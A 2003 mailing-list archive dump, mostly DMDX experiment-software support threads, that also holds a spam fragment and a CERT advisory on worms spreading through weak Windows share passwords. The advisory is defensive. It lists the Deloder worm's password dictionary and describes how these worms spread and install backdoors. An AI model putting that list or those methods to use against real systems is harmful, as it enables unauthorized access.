�numbered� /; 250= * �flours� /; 250= * �richest� /; 250= * �soakly� /; 250= * �stinged� /; 0 �The experiment will now begin. Press the start key when ready.�; 250= * �limes� /; 250= * �boredoms� /;$ 001 + * �seeming� /; 002 + * �wanting� /; 003 + * �moons� /; 004 + * �worlds� /; 005 + * �soups� /; 006 + * �hotly� /; 007 + * �winters� /; 008 + * �proving� /; 009 + * �poorly� /; 010 + * �newest� /; 011 + * �truths� /; 012 + * �threes� /; 013 + * �hears� /; 014 + * �knowing� /; 015 + * �fathers� /; 016 + * �believing� /; 017 + * �mending� /; 018 + * �twisting� /; 019 + * �cliffs� /; 020 + * �debts� /; 021 + * �veils� /; 022 + * �timidity� /; 023 + * �partners� /; 024 + * �poking� /; 025 + * �grimly� /; 026 + * �slightest� /; 027 + * �trends� /; 028 + * �forks� /; 029 + * �sells� /; 030 + * �sleeping� /; 031 + * �artists� /; 032 + * �attending� /; 033 + * �growing� /; 034 + * �turning� /; 035 + * �boats� /; 036 + * �nights� /; 037 + * �sharks� /; 038 + * �widely� /; 039 + * �forests� /; 040 + * �smiling� /; 041 + * �badly� /; 042 + * �greatest� /; 043 + * �depths� /; 044 + * �homes� /; 045 + * �moves� /; 046 + * �looking� /; 047 + * �questions� /; 048 + * �containing� /; 049 + * �slots� /; 050 + * �cavities� /; 051 + * �beaches� /; 052 + * �mirrors� /; 053 + * �ignited� /; 054 + * �belonged� /; 055 + * �commonly� /; 056 + * �fashions� /; 057 + * �bricks� /; 058 + * �crews� /; 059 + * �rejoiced� /; 060 + * �queens� /; 061 + * �speaking� /; 062 + * �ponds� /; 063 + * �resisted� /; 064 + * �fetched� /; 065 + * �fangs� /; 066 + * �sardines� /; 067 + * �trousers� /; 068 + * �scissors� /; 069 + * �incurred� /; 070 + * �invited� /; 071 + * �scarcely� /; 072 + * �freckles� /; 073 + * �ribs� /; 074 + * �gills� /; 075 + * �obliged� /; 076 + * �genes� /; 077 + * �shining� /; 078 + * �germs� /; 079 + * �compelled� /; 080 + * �blurted� /; $0 �This concludes the experiment. Thank you for your participation�;$   On the PIO issue, being pretty illiterate when it comes to computer related stuff, I 'think' the InstaCal Drivers are installed. When I go to the device manager, it lists PCI-DIO24 under DAS components (Driver version 5.21), and under the PIO Test, it lists 'InstaCal Board 0 DEMO-BOARD' in the PIO Address box. But when I start the test, a message pops up saying 'invalid digital port number'. Does this mean it's not installed properly, if at all? Thanking you for all your help, Angelo Alonzo     >From: ""j.c.f."" >Reply-To: DMDX@psy1.psych.arizona.edu >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Flips out of synch >Date: Sun, 09 Mar 2003 22:19:54 -0700 > >At 05:12 AM 3/10/2003 +0000, you wrote: >> >>After receiving your email, I installed the 40.72 driver, but same >>problem - 'Flips out of synch'. I've even tried minimising the >>buffered display to 1, but same problem. The computer lists DirectX >>8.1+, so I'm not sure if that's already DirectX 9. Is it better to >>just not use a GeForce4 Ti driver? > > You have to use the GeForce4 Ti driver if that's what your video >card is. No, DX 8.1 isn't DX 9 (although who knows what 8.1+ is). >Guess you'll have to send me your item file (or a portion of it big >enough to experience the error if it's huge) so I can see if I can >replicate the problem here. > >> >>On another issue, I have a PCI-DIO24 installed. It lists two I/O >>Ranges D800-D87F and D400-D403. After reading the archived >>messages, I entered D800 as the PIO Address when I did the PIO Test >>in TimeDX. But when I press start, TimeDX just shuts down, saying >>it has encountered a problem and needs to close. I've tried >>entering the whole I/O range as well, but same result. Is there a >>solution to this? >> > > Yeah, you install and set up the Instacall Drivers that come with >the DIO24 and use them in TimeDX. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Experience is what you get when you were expecting something else. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== MSN Instant Messenger now available on Australian mobile phones. Find our more.",0,1 Angelo Alonzo ,DMDX@psy1.psych.arizona.edu,"Tue, 11 Mar 2003 04:52:22 +0000",[DMDX] Re: PIO Test,">>On another issue, I have a PCI-DIO24 installed. It lists two I/O >>Ranges D800-D87F and D400-D403. After reading the archived >>messages, I entered D800 as the PIO Address when I did the PIO Test >>in TimeDX. But when I press start, TimeDX just shuts down, saying >>it has encountered a problem and needs to close. I've tried >>entering the whole I/O range as well, but same result. Is there a >>solution to this? >> > > Yeah, you install and set up the Instacall Drivers that come with >the DIO24 and use them in TimeDX. > > /""\\ > -jonathan (j.c.f.) \\ /   Sorry! On an email previous to this, I said I 'think' the InstaCal Drivers are installed. I realised that they're not, and have now been able to run the PIO Test under TimeDX. Sorry for any inconvenience.   Angelo Hotmail now available on Australian mobile phones. Click here for more.",0,1 Marietta ,'Noelle' ,"Mon, 10 Mar 2003 23:15:55 -0200",Penis Pill That Works," Hi friend: We have quality product to help you Enjoy better sex life. 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When I go to >the device manager, it lists PCI-DIO24 under DAS components (Driver >version 5.21), and under the PIO Test, it lists 'InstaCal Board 0 >DEMO-BOARD' in the PIO Address box. But when I start the test, a message >pops up saying 'invalid digital port number'. Does this mean it's not >installed properly, if at all? The instacal board will be called ""InstaCal Board 1"", the demo is a demo. You need to run the install software and tell it to scan for new hardware. Then run TimeDX and tell it to use whatever the instacall stuff finds. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Mar 2003 08:57:09 -0700",[DMDX] Re: Flips out of synch,"At 04:32 AM 3/11/2003 +0000, you wrote: >Jonathan, > >Pasted below is a copy of one of the item files that produces the 'Flips >out of synch' message. Oddly, visual and paired auditory lexical decision >tasks seem to run smoothly. It's only when I run a naming task that this >message pops up. I can replicate it so it's not your hardware. Oddly enough naming task negation turns off once through the practice and I don't see any request to do so in the item file so I'm guessing the problem is related to the current weirdness that I'm trying to track down. Possibly DMDX needs more stack space than is allocated by default and when we switched compilers something else needs to be set, who knows but I sure hope I do and quickly too. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Mar 2003 15:42:29 -0700",[DMDX] DMDX 3.0.1.2," Until I figure out just what has been busted or more to the point, what is doing the busting in the first place I've released DMDX 3.0.1.2 that uses a brute force kludge to get around what ever is broken. I suspect this is behind the Expected Flips problem and another one here that appears to be related to using legacy single letter scramble switches in the parameter line. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 11 Mar 2003 17:03:56 -0500",CERT Advisory CA-2003-08 Increased Activity Targeting Windows Shares," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2003-08 Increased Activity Targeting Windows Shares Original release date: March 11, 2003 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Microsoft Windows 2000 * Microsoft Windows XP Overview In recent weeks, the CERT/CC has observed an increase in the number of reports of systems running Windows 2000 and XP compromised due to poorly protected file shares. I. Description Over the past few weeks, the CERT/CC has received an increasing number of reports of intruder activity involving the exploitation of Null (i.e., non-existent) or weak Administrator passwords on Server Message Block (SMB) file shares used on systems running Windows 2000 or Windows XP. This activity has resulted in the successful compromise of thousands of systems, with home broadband users' systems being a prime target. Recent examples of such activity are the attack tools known as W32/Deloder, GT-bot, sdbot, and W32/Slackor, which are described in more detail below. Background Microsoft Windows uses the SMB protocol to share files and printer resources with other computers. In older versions of Windows (e.g., 95, 98, Me, and NT), SMB shares ran on NetBIOS over TCP/IP (NBT) on ports 137/tcp and udp, 138/udp, and 139/tcp. However, in later versions of Windows (e.g., 2000 and XP), it is possible to run SMB directly over TCP/IP on port 445/tcp. Windows file shares with poorly chosen or Null passwords have been a recurring security risk for both corporate networks and home users for some time: * IN-2002-06: W32/Lioten Malicious Code * CA-2001-20: Continuing Threats to Home Users * IN-2000-02: Exploitation of Unprotected Windows Networking Shares * IN-2000-03: 911 Worm It has often been the case that these poorly configured shares were exposed to the Internet. Intruders have been able to leverage poorly protected Windows shares by exploiting weak or Null passwords to access user-created and default administrative shares. This problem is exacerbated by another relevant trend: intruders specifically targeting Internet address ranges known to contain a high density of weakly protected systems. As described in CA-2001-20, the intruders' efforts commonly focus on addresses known to be used by home broadband connections. Recent developments The CERT/CC has recently received a number of reports of exploitation of Null or weak Administrator passwords on systems running Windows 2000 or Windows XP. Thousands of systems have been compromised in this manner. Although the tools involved in these reports vary, they exhibit a number of common traits, including * scanning for systems listening on 445/tcp (frequently within the same /16 network as the infected host) * exploiting Null or weak passwords to gain access to the Administrator account * opening backdoors for remote access * connecting back to Internet Relay Chat (IRC) servers to await additional commands from attackers * installing or supporting tools for use in distributed denial-of-service (DDoS) attacks Some of the tools reported have self-propagating (i.e., worm) capabilities, while others are propagated via social engineering techniques similar to those described in IN-2002-03: Social Engineering Attacks via IRC and Instant Messaging. The network scanning associated with this activity is widespread but appears to be especially concentrated in address ranges commonly associated with home broadband users. Using these techniques, many attackers have built sizable networks of DDoS agents, each comprised of thousands of compromised systems. W32/Deloder The self-propagating W32/Deloder malicious code is an example of the intruder activity described above. It begins by scanning the /16 (i.e., addresses with the same first two high-order octets) of the infected host for systems listening on 445/tcp. When a connection is established, W32/Deloder attempts to compromise the Administrator account by using a list of pre-loaded passwords. Variants may include different or additional passwords, but reports to the CERT/CC indicate that the following have appeared thus far: [NULL] 0 000000 00000000 007 1 110 111 111111 11111111 12 121212 123 123123 1234 12345 123456 1234567 12345678 123456789 1234qwer 123abc 123asd 123qwe 2002 2003 2600 54321 654321 88888888 Admin Internet Login Password a aaa abc abc123 abcd admin admin123 administrator alpha asdf computer database enable foobar god godblessyou home ihavenopass login love mypass mypass123 mypc mypc123 oracle owner pass passwd password pat patrick pc pw pw123 pwd qwer root secret server sex super sybase temp temp123 test test123 win xp xxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx yxcv zxcv On successful compromise of the Administrator account, W32/Deloder copies itself to the victim, placing multiple copies in various locations on the system. Additionally, it adds a registry key that will cause the automatic execution of dvldr32.exe (one of the aforementioned copies). The victim will begin scanning for other systems to infect after it is restarted. W32/Deloder opens up backdoors on the victim system to allow attackers further access. It does this in two ways: 1. attempting to connect to one of a number of pre-configured IRC servers 2. installing a copy of VNC (Virtual Network Computing), an open-source remote display tool from AT&T, listening on 5800/tcp or 5900/tcp Note: VNC in and of itself is not a malicious tool, and has many other legitimate uses. During the course of infection by W32/Deloder, a number of files may be created on the system. Reports indicate that files matching the following descriptions have been found on compromised systems: Filename File Size (bytes) Description dvldr32.exe 745,984 The self-propagating malicious code inst.exe 684,562 This file installs the backdoor applications onto the victim host psexec.exe 36,352 A copy of the Remote Process Launch application (not inherently malicious, but it is what allows the worm to replicate) explorer.exe 212,992 A renamed copy of the VNC application omnithread_rt.dll 57,344 VNC dependency file VNCHooks.dll 32,768 VNC dependency file rundll32.exe 29,336 The IRC-Pitchfork bot application cygwin1.dll 944,968 IRC-Pitschfork dependency file GT-bot and sdbot Intruders frequently use IRC ""bots"" (automated software that accepts commands via IRC channels) to remotely control compromised systems. GT-bot and sdbot are two examples of intruder-developed IRC bots. Both support automated scanning and exploitation of inadequately protected Windows shares. These tools also offer intruders a variety of DDoS capabilities, including the ability to generate ICMP, UDP, or TCP traffic. Tools like these are undergoing constant development in the intruder community and are frequently included as part of other tools. As a result, the names, sizes, and other characteristics of the files that might contain these tools vary widely. Furthermore, once installed, the tools are designed to hide themselves fairly well, so detection may be difficult. The CERT/CC has received reports of sdbot networks as large as 7,000 systems, and GT-bot networks in excess of 140,000 systems. W32/Slackor The W32/Slackor worm is another example of a tool that targets file shares. On a compromised machine, the worm begins by scanning the /16 of the infected host for other systems listening on 445/tcp. When a system is discovered, W32/Slackor connects to the $IPC share using a set of pre-programmed usernames and passwords, copies itself to the C:\\sp directory, and runs its payload. The payload consists of the following files: Filename Description slacke-worm.exe The self-propagating malicious code abc.bat List of usernames/passwords psexec.exe A copy of the Remote Process Launch application (from sysinternals.com, used for replicating the worm) main.exe The bot application W32/Slackor also contains an IRC bot. When this bot joins its IRC network, a remote intruder controlling the IRC channel can issue arbitrary commands on the compromised computer, including launching denial-of-service attacks. Network footprint Widespread scanning for 445/tcp indicates activity of this type. Compromised hosts may also have unauthorized connections to IRC servers (typically on 6667/tcp, although ports may vary). Additionally, the VNC package installed by W32/Deloder will typically listen on 5800/tcp or 5900/tcp. If a compromised system is used in a DDoS attack on another site, large volumes of IP traffic (ICMP, UDP, or TCP) may be detected emanating from the compromised system. II. Impact The presence of any of these tools on a system indicates that the Administrator password has likely been compromised, and the entire system is therefore suspect. With this level of access, intruders may * exercise remote control * expose confidential data * install other malicious software * change files * delete files * launch attacks against other sites The scanning activities of these tools may generate high volumes of 445/tcp traffic. As a result, some Internet-connected hosts or networks with compromised hosts may experience performance issues (including denial-of-service conditions). Sites targeted by the DDoS agents installed by this activity may experience unusually heavy traffic volumes or high packet rates, resulting in degradation of services or loss of connectivity altogether. III. Solution In addition to following the steps outlined in this section, the CERT/CC encourages home users to review the ""Home Network Security"" and ""Home Computer Security"" documents. Disable or secure file shares Best practice dictates a policy of least privilege; if a given computer is not intended to be a server (i.e., share files with others), ""File and Printer Sharing for Microsoft Networks"" should be disabled. For computers that export shares, ensure that user authentication is required and that each account has a well-chosen password. Furthermore, consider using a firewall to control which computer can access these shares. By default, Windows NT, 2000, and XP create certain hidden and administrative shares. See the HOW TO: Create and Delete Hidden or Administrative Shares on Client Computers for further guidelines on managing these shares. Use strong passwords The various tools described above exploit the use of weak or Null passwords in order to propagate, so using strong passwords can help keep them from infecting your systems. Microsoft has posted a ""Create Strong Passwords"" checklist. Run and maintain an anti-virus product The malicious code being distributed in these attacks is under continuous development by intruders, but most anti-virus software vendors release frequently updated information, tools, or virus databases to help detect and recover from the malicious code involved in this activity. Therefore, it is important that users keep their anti-virus software up to date. The CERT/CC maintains a partial list of anti-virus vendors. Many anti-virus packages support automatic updates of virus definitions. The CERT/CC recommends using these automatic updates when available. Do not run programs of unknown origin Never download, install, or run a program unless you know it to be authored by a person or company that you trust. Users of IRC, Instant Messaging (IM), and file-sharing services should be particularly wary of following links or running software sent to them by other users, as this is a commonly used method among intruders attempting to build networks of DDoS agents. Deploy a firewall The CERT/CC also recommends using a firewall product, such as a network appliance or a personal firewall software package. In some situations, these products may be able to alert users to the fact that their machine has been compromised. Furthermore, they have the ability to block intruders from accessing backdoors over the network. However, no firewall can detect or stop all attacks, so it is important to continue to follow safe computing practices. Ingress/egress filtering Ingress filtering manages the flow of traffic as it enters a network under your administrative control. In the network usage policy of many sites, external hosts are only permitted to initiate inbound traffic to machines that provide public services on specific ports. Thus, ingress filtering should be performed at the border to prohibit externally initiated inbound traffic to non-authorized services. Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for internal systems to access SMB shares across the Internet. In the case of the intruder activity described above, blocking connections to port 445/tcp from entering or leaving your network reduces the risk of external infected systems attacking hosts inside your network or vice-versa. Recovering from a system compromise If you believe a system under your administrative control has been compromised, please follow the steps outlined in Steps for Recovering from a UNIX or NT System Compromise IV. References 1. Trends in Denial of Service Attack Technology: http://www.cert.org/archive/pdf/DoS_trends.pdf 2. Managing the Threat of Denial-of-Service Attacks: http://www.cert.org/archive/pdf/Managing_DoS.pdf 3. IN-2002-06: W32/Lioten Malicious Code: http://www.cert.org/incident_notes/IN-2002-06.html 4. CA-2001-20: Continuing Threats to Home Users: http://www.cert.org/advisories/CA-2001-20.html 5. IN-2000-02: Exploitation of Unprotected Windows Networking Shares: http://www.cert.org/incident_notes/IN-2000-02.html 6. IN-2000-03: 911 Worm: http://www.cert.org/incident_notes/IN-2000-03.html 7. IN-2002-03: Social Engineering Attacks via IRC and Instant Messaging: http://www.cert.org/incident_notes/IN-2002-03.html 8. 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Revision History March 11, 2003: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPm5bd2jtSoHZUTs5AQGJkQQAskLQbGaPphIDbOdtvazUNJTuXroPQNyo 5Fw2RNeKkr3ECvmtuRRqDaDUyx1mziCDz8i655twWsY5k1Jexl+WICLlFvvf5jpA bgJYskeEagBNAGlkvAZuI48tOtC/O3M01dTLzVmN083Tqn22ZXl/w5nHMVu4y81t XqROPqun25M= =hbFj -----END PGP SIGNATURE----- ",0,1 Angelo Alonzo ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 02:48:32 +0000",[DMDX] Re: Flips out of synch,"Jonathan, I have no idea why it worked, but the 'Expected flips' problem disappeared after I changed the script in the parameter line, denoting naming time negation, from m2011 to . Could something that simple have fixed the 'flipping' problem? Angelo >From: ""j.c.f."" >Reply-To: DMDX@psy1.psych.arizona.edu >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] Re: Flips out of synch >Date: Tue, 11 Mar 2003 08:57:09 -0700 > >At 04:32 AM 3/11/2003 +0000, you wrote: > >>Jonathan, >> >>Pasted below is a copy of one of the item files that produces the >>'Flips out of synch' message. Oddly, visual and paired auditory >>lexical decision tasks seem to run smoothly. It's only when I run a >>naming task that this message pops up. > > > I can replicate it so it's not your hardware. Oddly enough >naming task negation turns off once through the practice and I don't >see any request to do so in the item file so I'm guessing the >problem is related to the current weirdness that I'm trying to track >down. Possibly DMDX needs more stack space than is allocated by >default and when we switched compilers something else needs to be >set, who knows but I sure hope I do and quickly too. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > >Experience is what you get when you were expecting something else. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== Hotmail now available on Australian mobile phones. Click here for more.",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 11 Mar 2003 21:49:15 -0700",[DMDX] Re: Flips out of synch,"At 02:48 AM 3/12/2003 +0000, you wrote: >Jonathan, > >I have no idea why it worked, but the 'Expected flips' problem disappeared >after I changed the script in the parameter line, denoting naming time >negation, from m2011 to . Could something that simple have fixed the >'flipping' problem? Yeah, there's something badly awry in there and the most trivial changes to an item file can have huge effects. And the bits that are broken are low level routines that I have no control over so something else is breaking them and I have _no_ clues as to what that might be. Which leaves me arbitrarily disabling parts of DMDX to see if the side effects go away but that's difficult and time consuming to do. Hopefully something will occur to me out of the blue tonight otherwise it'll be another painful debugging session tomorrow. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Experience is what you get when you were expecting something else.",0,0 Paula Tavares ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 17:33:18 +0000",[DMDX] Time issues when displaying bmp and avi,"Dear DMDxers, I would like to use DMDX to display films and pictures in an fMRI experiment. Responses from the subject are not needed. Some details: 1. The avi's and bmp's will be presented as separate items. 2. Each bmp and each avi will be displayed for 14 seconds. 3. I would like the scanner to trigger each item. 4. The scanner trigger sends a pulse each 1550 ms. I would like each new film or bmp to begin 17050 ms after the beginning of the previous one. So, the duration of the item + delay parameter has to be less than 17050 ms (1550 ms * 11 scanner triggers) and greater than 15500 ms (1550 ms * 10 scanner triggers). So 15500 ms < (the delay parameter + film or bmp) < 17050 ms. I have tried the following rtf file: 0 ""Waiting for the scanner.""; +1 *""SP_S2""/; +2 *""F""/; +3 *""NS_R7""/; +4 *""C_S1""/; +5 *""SN_W2""/; +6 *""C_V4""/; +7 *""F""/; +8 *""SP_U1""/; 0 ""The End. Thank you.""; And the zil file that was produced: ********************************************************************* Subject 1, 03/12/2003 14:05:33 on PC053, refresh 13.33ms COT ! Played 341 frames of 350 in SP_S2.avi Item 1, COT 0.00, No Responses. Item 2, COT 16704.71 29.05,-Bit0 ! Played 349 frames of 350 in NS_R7.avi Item 3, COT 31614.23, No Responses. ! Played 346 frames of 350 in C_S1.avi Item 4, COT 48455.42, No Responses. ! Played 347 frames of 350 in SN_W2.avi Item 5, COT 65289.53, No Responses. ! Played 349 frames of 350 in C_V4.avi Item 6, COT 82151.85, No Responses. Item 7, COT 98887.16 20.26,-Bit0 ! Played 346 frames of 350 in SP_U1.avi Item 8, COT 113780.23, No Responses. The time duration of the various items (+ delay parameter) is: SP_S2 16704.71 F 14909.52 NS_R7 16841.19 C_S1 16834.11 SN_W2 16862.32 C_V4 16735.31 F 14893.07 Additional information that might be useful: The DMDX version that I am using is an old version 2.6.04 (can this be a problem here?). I think that the computer is good enough (Genuine Intel, X86, 512 MB RAM, the video card is not perfect but it is a NVIDIA Geforce2 GTS/Geforce2 Pro Dell M770). The avi were compressed with the codec Microsoft MPEG-4 Video Codec V3. My doubts are: 1. For the films - Since the DMDX stops at the end of each item (d 180 + film + extra tick = 16413.33 ms), the new clock-on should be activated at 17050 ms (11 trigger scans after the previous clock-on). Even if there was an error of more or less 500 ms on the display of the film, the time shouldn't change. And if the display error of the film is superior to 650 ms, the clock times should change for 17050 +/- 1550 ms, and not any other values. 2. Why are the bmp taking 14909 and 14893 ms? Why do they not take always 17050 ms? ( d 180 + fd 1050 + extra tick = 16412.33 ms) Even if the delay of 180 is not ""used"" and the item takes exactly 14000 ms to load and play, the time should be 17050 - 1550 = 15500 ms. 3. Can I trust in the values that are being given by the clock when I am displaying films? That the beginning is really the beginning? Any clues about what might be happening would be really appreciated. Many thanks Paula ***************************************** Paula Tavares Cognition and Brain Sciences Unit 15 Chaucer Road Cambridge CB2 2EF Telephone: 01223 355 294 EXT 196 *****************************************",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 20:50:32 +0000",[DMDX] Re: Progressive demasking problem...,"Hi. Thanks for the help with the script. It works great. I am going to stick an annotated version of this on my web pages. However, I am not wholly certain of what item 1003 is doing and I don't want to end up writing gibberish about it. When there is a response is made before the loop over 1002 has run its' course, then DMDX moves onto the next item....and this is where I get stuck. Why can't I just have item 1004 alone? Why do I need 1003 as well? Sorry to be thick about this. Thanks - Mike > To handle the looping you could use to continue the > loop and a to break out but of course you can't have two branches > in the same item and you can't have counter branches in a so you'll > have to have something like this (assuming ): > >~1000 ; >~1001 ; >+1002 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" 3> / ""########""; >~1003 ; >~1004 ; >+1005 %3 ""########"" / * %27 "" house "" / %2 ""########"" / %28 "" house "" / >%1 ""########"" / %29 "" house "" / ;",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 15:16:54 -0700",[DMDX] Re: Progressive demasking problem...,"I can't recall, remove it and see if breaks. It could be hold over from a previous design. At 08:50 PM 3/12/2003 +0000, you wrote: >Hi. Thanks for the help with the script. It works great. I am going to >stick an annotated version of this on my web pages. However, I am not >wholly certain of what item 1003 is doing and I don't want to end up >writing gibberish about it. When there is a response is made before the >loop over 1002 has run its' course, then DMDX moves onto the next >item....and this is where I get stuck. Why can't I just have item 1004 >alone? Why do I need 1003 as well? Sorry to be thick about this. > >Thanks - Mike > >> To handle the looping you could use to continue >> the loop and a to break out but of course you can't have two >> branches in the same item and you can't have counter branches in a >> so you'll have to have something like this (assuming ): >> >>~1000 ; >>~1001 ; >>+1002 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" >3> / ""########""; >>~1003 ; >>~1004 ; >>+1005 %3 ""########"" / * %27 "" house "" / %2 ""########"" / %28 "" house "" >>/ %1 ""########"" / %29 "" house "" / ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 15:31:17 -0700",[DMDX] Re: Time issues when displaying bmp and avi,"At 05:33 PM 3/12/2003 +0000, you wrote: >Dear DMDxers, > >I would like to use DMDX to display films and pictures in an fMRI >experiment. Responses from the subject are not needed. >Some details: >1. The avi's and bmp's will be presented as separate items. >2. Each bmp and each avi will be displayed for 14 seconds. >3. I would like the scanner to trigger each item. >4. The scanner trigger sends a pulse each 1550 ms. > >I would like each new film or bmp to begin 17050 ms after the beginning of >the previous one. So, the duration of the item + delay parameter has to be >less than 17050 ms (1550 ms * 11 scanner triggers) and greater than 15500 >ms (1550 ms * 10 scanner triggers). >So 15500 ms < (the delay parameter + film or bmp) < 17050 ms. > >I have tried the following rtf file: > > > >0 ""Waiting for the scanner.""; >+1 *""SP_S2""/; >+2 *""F""/; >+3 *""NS_R7""/; >+4 *""C_S1""/; >+5 *""SN_W2""/; >+6 *""C_V4""/; >+7 *""F""/; >+8 *""SP_U1""/; >0 ""The End. Thank you.""; > >And the zil file that was produced: > >********************************************************************* >Subject 1, 03/12/2003 14:05:33 on PC053, refresh 13.33ms COT >! Played 341 frames of 350 in SP_S2.avi >Item 1, COT 0.00, No Responses. >Item 2, COT 16704.71 > 29.05,-Bit0 >! Played 349 frames of 350 in NS_R7.avi >Item 3, COT 31614.23, No Responses. >! Played 346 frames of 350 in C_S1.avi >Item 4, COT 48455.42, No Responses. >! Played 347 frames of 350 in SN_W2.avi >Item 5, COT 65289.53, No Responses. >! Played 349 frames of 350 in C_V4.avi >Item 6, COT 82151.85, No Responses. >Item 7, COT 98887.16 > 20.26,-Bit0 >! Played 346 frames of 350 in SP_U1.avi >Item 8, COT 113780.23, No Responses. > >The time duration of the various items (+ delay parameter) is: > >SP_S2 16704.71 > F 14909.52 >NS_R7 16841.19 >C_S1 16834.11 >SN_W2 16862.32 >C_V4 16735.31 > F 14893.07 > >Additional information that might be useful: >The DMDX version that I am using is an old version 2.6.04 (can this be a >problem here?). >I think that the computer is good enough (Genuine Intel, X86, 512 MB RAM, >the video card is not perfect but it is a NVIDIA Geforce2 GTS/Geforce2 Pro >Dell M770). >The avi were compressed with the codec Microsoft MPEG-4 Video Codec V3. > >My doubts are: > >1. For the films - Since the DMDX stops at the end of each item (d 180 + >film + extra tick = 16413.33 ms), the new clock-on should be activated at >17050 ms (11 trigger scans after the previous clock-on). Even if there was >an error of more or less 500 ms on the display of the film, the time >shouldn't change. Why not? The duration of the item is determined by the duration of the digital video. > And if the display error of the film is superior to 650 ms, the clock > times should change for 17050 +/- 1550 ms, and not any other values. > >2. Why are the bmp taking 14909 and 14893 ms? Why do they not take always >17050 ms? ( d 180 + fd 1050 + extra tick = 16412.33 ms) >Even if the delay of 180 is not ""used"" and the item takes exactly 14000 ms >to load and play, the time should be 17050 - 1550 = 15500 ms. No one's ever tried to do fMRI constant interval stuff with digital video before. If I were doing it I would specify the duration of the frame and not rely on the codec to determine it's duration. >3. Can I trust in the values that are being given by the clock when I am >displaying films? That the beginning is really the beginning? No, that's the time that the codec get's told to start decoding the video. You would need to use the keyword but I don't know for a fact that it's tied to , doesn't look like it is. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 12 Mar 2003 15:44:26 -0700",[DMDX] more on the breakage,"Looks like whatever's busted has been busted since version 3 of DMDX was done last year when I moved to MS Visual C for a compiler. Pretty impressive for something this major to remain undetected for so long. Current advice is for people to stick to 2.9.05 if they aren't using new features. Otherwise avoid the use of classic switches and parameters, use the keyword variants instead as most of the symptoms appear to be triggered parsing things like D20 and M2011 whereas and appear to have a higher chance of avoiding the broken stuff. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There will always be survivors. - Robert Heinlein",0,0 Paula Tavares ,DMDX@psy1.psych.arizona.edu,"Thu, 13 Mar 2003 11:26:52 +0000",[DMDX] Re: Time issues when displaying bmp and avi,"Dear Jonathan, Thank you for your answer. Sorry to bother you again... >>1. For the films - Since the DMDX stops at the end of each item (d 180 + >>film + extra tick = 16413.33 ms), the new clock-on should be activated at >>17050 ms (11 trigger scans after the previous clock-on). Even if there >>was an error of more or less 500 ms on the display of the film, the time >>shouldn't change. > > Why not? The duration of the item is determined by the duration of the > digital video. Because the command line of rtf file *does not* have the option activated: "" "" So each time a film finishes the DMDX should stop there, waiting for the next scanner trigger (or keyboard input). Even with an error of +/- 500 ms in the display of the film (what is a lot already, film duration is 14000 ms) the next item can only be activated by the next scanner trigger (which happens at 17050 ms). Any Item: Delay + film + waiting next trigger Time: 2400 ms + 14000ms (+/- 500 ms) + waiting next trigger With an error of -500 ms in the display of the film. Time: 15900 ms (the DmDX stops here, waiting for the next scanner trigger at 17050 ms, the previous one was at 15550 ms) With an error of +500 ms in the display of the film. Time: 16900 ms (and again the DmDX stops here, waiting for the next scanner trigger at 17050 ms) Why is DMDX giving me a time of 16800(+/-)100 ms? >>2. Why are the bmp taking 14909 and 14893 ms? Why do they not take always >>17050 ms? ( d 180 + fd 1050 + extra tick = 16412.33 ms) >>Even if the delay of 180 is not ""used"" and the item takes exactly 14000 >>ms to load and play, the time should be 17050 - 1550 = 15500 ms. > > No one's ever tried to do fMRI constant interval stuff with digital > video before. If I were doing it I would specify the duration of the > frame and not rely on the codec to determine it's duration. Thank you for your suggestion regarding the films, but question 2 refers to the time problem that is happening with the pictures. Any idea about what might be happening here? The code line was ""+2 *""F""/;"" 1050 